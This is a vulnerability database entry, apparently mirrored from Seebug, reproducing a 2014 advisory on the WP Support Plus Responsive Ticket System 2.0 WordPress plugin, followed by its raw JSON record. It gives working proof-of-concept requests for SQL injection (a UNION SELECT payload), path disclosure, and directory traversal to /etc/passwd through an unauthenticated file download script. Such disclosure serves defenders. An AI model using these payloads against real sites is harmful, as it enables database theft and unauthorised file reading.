Search...

Wordpress WP Support Plus Responsive Ticket System 2.0 Plugin - Multiple Vulnerabilities

2014-09-18T00:00:00

ID SSV:87258
Type seebug
Reporter Root
Modified 2014-09-18T00:00:00

Description

No description provided by source.

                                        
                                            
                                                # Exploit Title: Wordpress WP Support Plus Responsive Ticket System 2.0
Plugin - Multiple Vulnerabilities
# Google Dork: N/A
# Date: 09.09.2014
# Exploit Author: Fikri Fadzil - fikri.fadzil@impact-alliance.org
# Vendor Homepage - http://wpsuportplus.byethost7.com/
# Software
http://wordpress.org/plugins/wp-support-plus-responsive-ticket-system/
# Version: 2.0
# Tested on: PHP
 
 
Description:
This plugin adds to WordPress the features of a complete ticket system with
100% responsive and 100% Ajax functionality. This allows users to submit
tickets to report problems or get support on whatever you want. Users can
set the status, priority and category of each ticket.
 
 
Proof of Concept:
 
1. SQL INJECTION
URL     : http://localhost/wp-admin/admin-ajax.php
METHOD  : POST
REQUEST : action=openTicket&amp;ticket_id=-1 UNION SELECT
concat_ws(0x3a,version(),database(),user()),2,3,4,5,6,7
* any registered user can successfully execute this request
 
 
2. FULL PATH DISCLOSURE
a) URL :
http://localhost/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/downloadAttachment.php?path=/var/www/wp-content/uploads/2014/09/file.pdf
 * full path to the file will be shown to the user after the file has been
uploaded
b) URL :
http://localhost/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/downloadAttachment.php?path=
 * full path will be shown in PHP error message if parameter &quot;path&quot; is empty
 
 
3. DIRECTORY TRAVERSAL
URL :
http://localhost/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/downloadAttachment.php?path=/etc/passwd
* any file from the server can be downloaded by giving parameter &quot;path&quot; the
location to the file
 
 
4. BROKEN AUTHENTICATION
URL :
http://localhost/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/downloadAttachment.php?path=&lt;any
file path&gt;
* The script &quot;downloadAttachment.php&quot; is accessible for anyone without
having to login.

JSON Vulners Source

Initial Source

{"type": "seebug", "_object_types": ["robots.models.base.Bulletin", "robots.models.seebug.SeebugBulletin"], "_object_type": "robots.models.seebug.SeebugBulletin", "viewCount": 4, "enchantments": {"score": {"value": 7.5, "vector": "NONE"}, "dependencies": {"references": [], "modified": "2017-11-19T13:13:03"}, "vulnersScore": 7.5}, "reporter": "Root", "title": "Wordpress WP Support Plus Responsive Ticket System 2.0 Plugin - Multiple Vulnerabilities", "objectVersion": "1.4", "cvelist": [], "bulletinFamily": "exploit", "sourceHref": "https://www.seebug.org/vuldb/ssvid-87258", "cvss": {"score": 0.0, "vector": "NONE"}, "references": [], "enchantments_done": [], "modified": "2014-09-18T00:00:00", "description": "No description provided by source.", "href": "https://www.seebug.org/vuldb/ssvid-87258", "history": [], "id": "SSV:87258", "status": "poc", "lastseen": "2017-11-19T13:13:03", "sourceData": "\n # Exploit Title: Wordpress WP Support Plus Responsive Ticket System 2.0\r\nPlugin - Multiple Vulnerabilities\r\n# Google Dork: N/A\r\n# Date: 09.09.2014\r\n# Exploit Author: Fikri Fadzil - fikri.fadzil@impact-alliance.org\r\n# Vendor Homepage - http://wpsuportplus.byethost7.com/\r\n# Software\r\nhttp://wordpress.org/plugins/wp-support-plus-responsive-ticket-system/\r\n# Version: 2.0\r\n# Tested on: PHP\r\n \r\n \r\nDescription:\r\nThis plugin adds to WordPress the features of a complete ticket system with\r\n100% responsive and 100% Ajax functionality. This allows users to submit\r\ntickets to report problems or get support on whatever you want. Users can\r\nset the status, priority and category of each ticket.\r\n \r\n \r\nProof of Concept:\r\n \r\n1. SQL INJECTION\r\nURL : http://localhost/wp-admin/admin-ajax.php\r\nMETHOD : POST\r\nREQUEST : action=openTicket&ticket_id=-1 UNION SELECT\r\nconcat_ws(0x3a,version(),database(),user()),2,3,4,5,6,7\r\n* any registered user can successfully execute this request\r\n \r\n \r\n2. FULL PATH DISCLOSURE\r\na) URL :\r\nhttp://localhost/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/downloadAttachment.php?path=/var/www/wp-content/uploads/2014/09/file.pdf\r\n * full path to the file will be shown to the user after the file has been\r\nuploaded\r\nb) URL :\r\nhttp://localhost/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/downloadAttachment.php?path=\r\n * full path will be shown in PHP error message if parameter "path" is empty\r\n \r\n \r\n3. DIRECTORY TRAVERSAL\r\nURL :\r\nhttp://localhost/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/downloadAttachment.php?path=/etc/passwd\r\n* any file from the server can be downloaded by giving parameter "path" the\r\nlocation to the file\r\n \r\n \r\n4. BROKEN AUTHENTICATION\r\nURL :\r\nhttp://localhost/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/downloadAttachment.php?path=<any\r\nfile path>\r\n* The script "downloadAttachment.php" is accessible for anyone without\r\nhaving to login.\n ", "published": "2014-09-18T00:00:00"}